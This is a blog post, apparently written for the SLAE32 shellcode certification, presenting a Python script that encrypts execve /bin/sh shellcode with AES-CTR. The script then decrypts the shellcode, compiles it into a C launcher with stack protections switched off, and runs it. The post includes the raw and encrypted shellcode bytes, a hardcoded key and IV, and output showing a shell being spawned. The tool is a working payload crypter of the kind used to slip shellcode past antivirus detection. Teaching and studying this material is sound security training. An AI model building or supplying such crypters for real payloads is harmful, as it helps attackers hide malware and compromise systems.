This post introduces the 7th and last mission of my SLAE32 journey.
A different task as I decided to work with python3, and most of the work dealt with conversion types between encrypting and decrypting the shellcode.
Introduction
The SLAE32 7th assignment’s purpose is to create a custom crypter that references the one shown in the crypter lesson.
For this task, there are no special requirements:
- Can use any existing encryption schema
- Can use any programming language
I decided to have a more straightforward approach to this task without going into as much detail as in previous assignments. They were hard, and I felt like having cryptography in the assembly world, I should make things more complex than needed.
Crypter
For the encryption scheme, the choice was AES
in CTR mode
. I used the script made for the custom encoder/decoder assignment as a reference.
For the shellcode I used the execve stack shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
Let’s see the crypter
script.
#!/usr/bin/python3
# AES CTR-mode shellcode crypter
import argparse
import secrets
import sys
import string
import pyaes
import binascii
import os
secretsGenerator = secrets.SystemRandom()
c_style_shellcode = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") # bin/sh
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
encrypted_shellcode = "\xee\x61\x71\x58\x31\xe4\xa0\x9b\x61\x40\xef\x89\x34\xa2\xd7\x0d\x9f\x76\x71\x5a\x97\x77\xe4\x7f\xe0" # encrypted shellcode
iv =86225370279291231266238124133917033753321926857843067389263155507994576978348
def banner():
print('''
________________________________________________________
<The "AEShellCrypter" - Encrypt your shellcode with AES >
--------------------------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\\
||----w |
|| ||
''')
#----------------------------
class Crypter:
def randomKeyGenerator(self):
alphabet = string.ascii_letters + string.digits + string.punctuation
key = ''.join(secrets.choice(alphabet) for i in range(16))
return str.encode(key)
def __init__(self,key=None):
if key is not None:
self.key = str.encode(key)
print("[*] Key Provided. Doing magic with it")
else:
self.key = self.randomKeyGenerator()
print("[*] Doing magic with a (pseudo) Random key")
print("[*] Key: "+self.key.decode())
def encrypt(self, shellcode):
#iv = secrets.randbits(256) # for random IV
aes = pyaes.AESModeOfOperationCTR(self.key, pyaes.Counter(iv))
crypted_shellcode = aes.encrypt(shellcode)
print("IV: "+str(iv))
#print('Encrypted:', crypted_shellcode)
final_shellcode = ""
for crypted_shellbyte in bytearray(crypted_shellcode):
final_shellcode += '\\x' + '%02x' % crypted_shellbyte # \x format
# print encrypted shellcode in c-style format
print()
print(final_shellcode)
def decrypt(self, final_shellcode):
print("Decrypted")
final_shellcode = bytes(final_shellcode, encoding="raw_unicode_escape")
aes = pyaes.AESModeOfOperationCTR(self.key, pyaes.Counter(iv))
decrypted_shellcode = aes.decrypt(final_shellcode)
original_shellcode = ""
for shellbyte in bytearray(decrypted_shellcode):
original_shellcode += '\\x' + '%02x' % shellbyte # \x format
return original_shellcode
#print(binascii.hexlify(bytearray(final_shellcode.replace("\\x","").encode())))
def executeShellcode(original_shellcode):
file = open("shellcode.c", "w")
file.write('''
#include<stdio.h>
#include<string.h>
unsigned char code[] = \"''' + original_shellcode + '''";
void main() {
printf(\"Shellcode Length: %d\\n\", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}'''
)
file.close()
os.system("gcc -fno-stack-protector -z execstack -m32 shellcode.c -o shellcode 2>/dev/null")
os.system("./shellcode")
def main():
#shellcode = bytearray(c_style_shellcode)
#print("[*] Shellcode length: "+str(len(shellcode))+"\n")
#print("[*] Shellcode: "+str(c_style_shellcode)+"\n")
print("[*] Encrypted Shellcode length: "+str(len(shellcode))+"\n")
print("[*] Encrypted Shellcode: "+str(c_style_shellcode)+"\n") # dynamic c-style use bytes(final_shellcode, encoding="raw_unicode_escape")
# -------------------KEY--------------
key = "B6*D+/5DQ$MFn<T{" # example key
#key = None
#####################################
crypter = Crypter(key);
crypter.encrypt(shellcode)
original_shellcode = crypter.decrypt(encrypted_shellcode)
executeShellcode(original_shellcode)
if __name__ == '__main__':
banner() # displays the program banner
main()
print("\n--------------------")
print("[*] Hack the World!")
print("--------------------")
print()
print()
For AES CTR mode
, we need to pay attention to the iv
and key
of the encryption process because they are a must for the decryption process.
Basically, this encryption does the following:
- accepts shellcode in
\x
format -shellcode
variable; - generates a pseudorandom
key
andiv
or uses one provided by the user -key
andiv
variables; - prints the shellcode in
\x
format
All this process is manual by the time of writing this post. The shellcode, iv, and encrypted shellcode are hardcoded.
For the decryption process:
- Just prepared the encrypted shellcode (
encrypted_shellcode
variable) for decryption as it receives a bytes object; - Use the encryption iv and key to decrypt the shellcode;
Then, appends the decrypted shellcode to a shellcode.c
program, compiles it with gcc
, and executes it.
Executing the python Crypter
:
╭─edu@debian ~/Desktop/slae_x86/assignments/7-Custom_Crypter ‹main●›
╰─$ python3 aesCrypter.py
________________________________________________________
<The "AEShellCrypter" - Encrypt your shellcode with AES >
--------------------------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
[*] Encrypted Shellcode length: 25
[*] Encrypted Shellcode: b'1\xc0Ph//shh/bin\x89\xe3P\x89\xe2S\x89\xe1\xb0\x0b\xcd\x80'
[*] Key Provided. Doing magic with it
[*] Key: B6*D+/5DQ$MFn<T{
IV: 86225370279291231266238124133917033753321926857843067389263155507994576978348
\xee\x61\x71\x58\x31\xe4\xa0\x9b\x61\x40\xef\x89\x34\xa2\xd7\x0d\x9f\x76\x71\x5a\x97\x77\xe4\x7f\xe0
Decrypted
Shellcode Length: 25
$ id
uid=1000(edu) gid=1000(edu) groups=1000(edu),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
$
--------------------
[*] Hack the World!
--------------------
We get a shell!!!
Improving this script is a future work to be performed. Working with different types in Python is a time-consuming task and requires some ability to handle it.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: PA-31319
All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86